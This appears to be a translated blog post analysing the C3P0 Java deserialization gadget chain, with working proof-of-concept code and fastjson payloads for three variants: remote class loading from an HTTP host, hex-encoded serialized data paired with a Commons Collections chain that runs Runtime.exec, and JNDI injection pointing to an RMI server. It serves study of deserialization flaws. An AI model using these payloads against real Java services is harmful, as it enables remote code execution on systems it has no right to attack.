C3P0 chain analysis

C3P0 chain

C3P0?

C3P0 is a connection pool component of JDBC

JDBC:

"JDBC is the abbreviation of Java DataBase Connectivity. It is the standard interface for Java programs to access databases. When using Java programs to access the database, the Java code does not directly access the database through TCP connection, but through JDBC interface, and the JDBC interface realizes the real access to the database through jdbc driver. "

Connection pool:

"When we talked about multithreading, we said that creating threads is an expensive operation. If there are a large number of small tasks to be executed and threads are created and destroyed frequently, it will actually consume a lot of system resources. It often takes longer to create and consume threads than to execute tasks. Therefore, in order to improve efficiency, thread pool can be used. Similarly, when performing the operations of adding, deleting, modifying and querying JDBC, if the connection is opened, operated and closed every time, the overhead of creating and destroying JDBC connections will be too large. In order to avoid frequent creation and destruction of JDBC connections, we can reuse the already created connections through the Connection Pool. "

C3P0:

C3P0 is an open source JDBC connection pool, which realizes the binding of data source and JNDI, and supports the JDBC 3 specification and the standard extension of JDBC 2. Open source projects using it include Hibernate, Spring, etc.

Gadget

The relevant dependencies and versions of C3P0 chain can be seen from ysoserial

C3P0                @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11

pom.xml and maven. Adding this component will automatically load the mchange commons java package

<dependencies>
        <dependency>
            <groupId>com.mchange</groupId>
            <artifactId>c3p0</artifactId>
            <version>0.9.5.2</version>
        </dependency>
    </dependencies>

URLClassLoader

This chain is also called http base chain in many articles.

The writeObject method of PoolBackedDataSourceBase class (abstract class) contains the following contents

This method will try to serialize the connectionPoolDataSource property of the current object. If it cannot be serialized, it will use referenceindirector for the connectionPoolDataSource property in the catch block The serialization operation is performed after being processed by the indirectform method. We follow up referenceindirector Indirectform method.

This method will call the getReference method of the connectionPoolDataSource property, instantiate a ReferenceSerialized object with the returned result as a parameter, and then return the ReferenceSerialized object. ReferenceSerialized is serialized. The following figure shows the ReferenceSerialized construction method. Combined with the above, we can find that its reference object is artificially controllable.

When it comes to the writeObject method of PoolBackedDataSourceBase, there must be deserialization if there is serialization. Naturally, go to the readObject method of PoolBackedDataSourceBase.

You can see that the getObject method of the object in the sequence stream will be called. In combination with the above, if ReferenceSerialized is serialized into the sequence stream, it can be ReferenceSerialized#getObject here. We will follow up. After follow-up, you can find that referenceableutils. Is called Referencetoobject is a static method. Follow up again

Since ref is a parameter that can be controlled during serialization, fClassName is naturally a controllable attribute. Combined with the contents in the yellow box in the figure below, it is not difficult to find that we can instantiate the remote class through URLClassLoader to cause arbitrary code execution.

POC

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.mchange.v2.naming.ReferenceIndirector;

import javax.naming.Name;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.rmi.Naming;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

public class c3p {
    public static void main(String[] args) throws Exception{
        PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); //This class is the implementation of the PoolBackedDataSourceBase abstract class
        f1.setAccessible(true);
        f1.set(a,new evil());

        ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
        ser.writeObject(a);
        ser.close();
        ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
        unser.readObject();
        unser.close();
    }

    public static class evil implements ConnectionPoolDataSource, Referenceable {
        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

        @Override
        public Reference getReference() throws NamingException {
            return new Reference("evilexp","evilexp","http://127.0.0.1:10099/");
        }
    }
}
public class evilexp {
    public evilexp() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

summary

When the backpoolreference class is instantiated, it can be deserialized into any datareference class specified in the backpoolreference sequence.

hex base

If you don't go out of the Internet and it's fastjson or jackson, you can use this Gadget.

WrapperConnectionPoolDataSourceBase has the property userOverridesAsString and its setter method setuserOverridesAsString.

It can be thought that the methods related to userOverridesAsString may be called next You can try to write a main function, call setuserOverridesAsString method, and then hit a breakpoint in parseUserOverridesAsString. The breakpoint hits. Why break the point in parseUserOverridesAsString? Because there are words related to deserialization in this method (in the yellow box)

public static void main(String[] args) throws Exception{
    a.setUserOverridesAsString("123");
    }

parseUserOverridesAsString first intercepts the userOverrideAsString attribute (that is, the part behind the HexAsciiSerializedMap in the userOverrideAsString attribute of the above figure), then treats it as sixteen binary data into byte, and then calls SerializableUtils.. It is processed by frombytearray

SerializableUtils.fromByteArray will deserialize bytes.

Under fastjson, jackson and other ring mirrors, the userOverridesAsString attribute is controllable, so that it can deserialize its call to readObject from its setter method setuserOverridesAsString to the end of deserializeFromByteArray, causing a deserialization vulnerability.

POC

Hit with cc2 chain

import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class c3p {
    public static void main(String[] args) throws Exception{
        PriorityQueue a = go();
        ObjectOutputStream ser0 = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
        ser0.writeObject(a);
        ser0.close();

        InputStream in = new FileInputStream("a.bin");
        byte[] bytein = toByteArray(in);
        String Hex = "HexAsciiSerializedMap:"+bytesToHexString(bytein,bytein.length)+"p";
        WrapperConnectionPoolDataSource exp = new WrapperConnectionPoolDataSource();
        exp.setUserOverridesAsString(Hex);

        ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("b.bin")));
        ser.writeObject(exp);
        ser.close();
        ObjectInputStream unser = new ObjectInputStream(new FileInputStream("b.bin"));
        unser.readObject();
        unser.close();
    }

    public static PriorityQueue go() throws Exception{

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc.exe"})});

        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(1);

        queue.add(1);
        queue.add(2);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,comparator);

        return queue;
    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}


fastjson exp
{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
    },
    "b": {
        "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
        "userOverridesAsString": "HexAsciiSerializedMap:hex Coding content;"
    }
}

summary

It can be used in fastjson and jackson environment. Compared with the JNDI Gadget below, this Gadget is more suitable for use in non offline environment The attribute userOverridesAsString and its setter method exist in the parent class of WrapperConnectionPoolDataSource. The setter method will convert the Hex information contained in userOverridesAsString into a byte attribute, and then deserialize this byte attribute.

jndi

It is also available in fastjson and jackson environments. jndi is applicable to jdk8u191 the following reference s. (the following figure is quoted from master sanzhi's blog)

First, the jnderefconnectionpooldatasource class has the property jndiname and its setter method Its setter method will call the setJndiName method of the internal JndiRefForwardingDataSource object to change the value of JndiRefForwardingDataSource#jndiname

Secondly, the jnderefconnectionpooldatasource class has the LoginTimeout property and its setter method Its setter method will call the setLoginTimeout method of the internal WrapperConnectionPoolDataSource object. After tracing, it will be found that it comes to JndiRefForwardingDataSource#setLoginTimeout

We follow up with JndiRefForwardingDataSource#inner, which will call JndiRefForwardingDataSource#dereference to follow up again In this method, the lookup query will be conducted according to the JndiRefForwardingDataSource#jndiName property, and the jndiName property can be controlled by the JndiRefConnectionPoolDataSource#setter method from the above.

Then, in the environment of fastjson, jackson, call the JndiRefConnectionPoolDataSource class jndiname, logintimeout attribute setter method, introduce malicious RMI server address to jndiname, and then call logintimeout setter method to make the victim go to the malicious address in the lookup set by lookup, causing the injection.

POC

public class c3p {
    public static void main(String[] args) throws Exception{
        JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource();
        exp.setJndiName("rmi://127.0.0.1:10099/exp");
        exp.setLoginTimeout(1);
    }
}

fastjson exp:
String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}"

summary

In the environment of fastjson, jackson, call the jndiname of JndiRefConnectionPoolDataSource class, logintimeout attribute setter method, introduce malicious RMI server address to jndiname, then call logintimeout's setter method to make the victim go to the malicious address in the lookup set by lookup, causing the injection.

Added by Hepp on Sat, 19 Feb 2022 08:54:28 +0200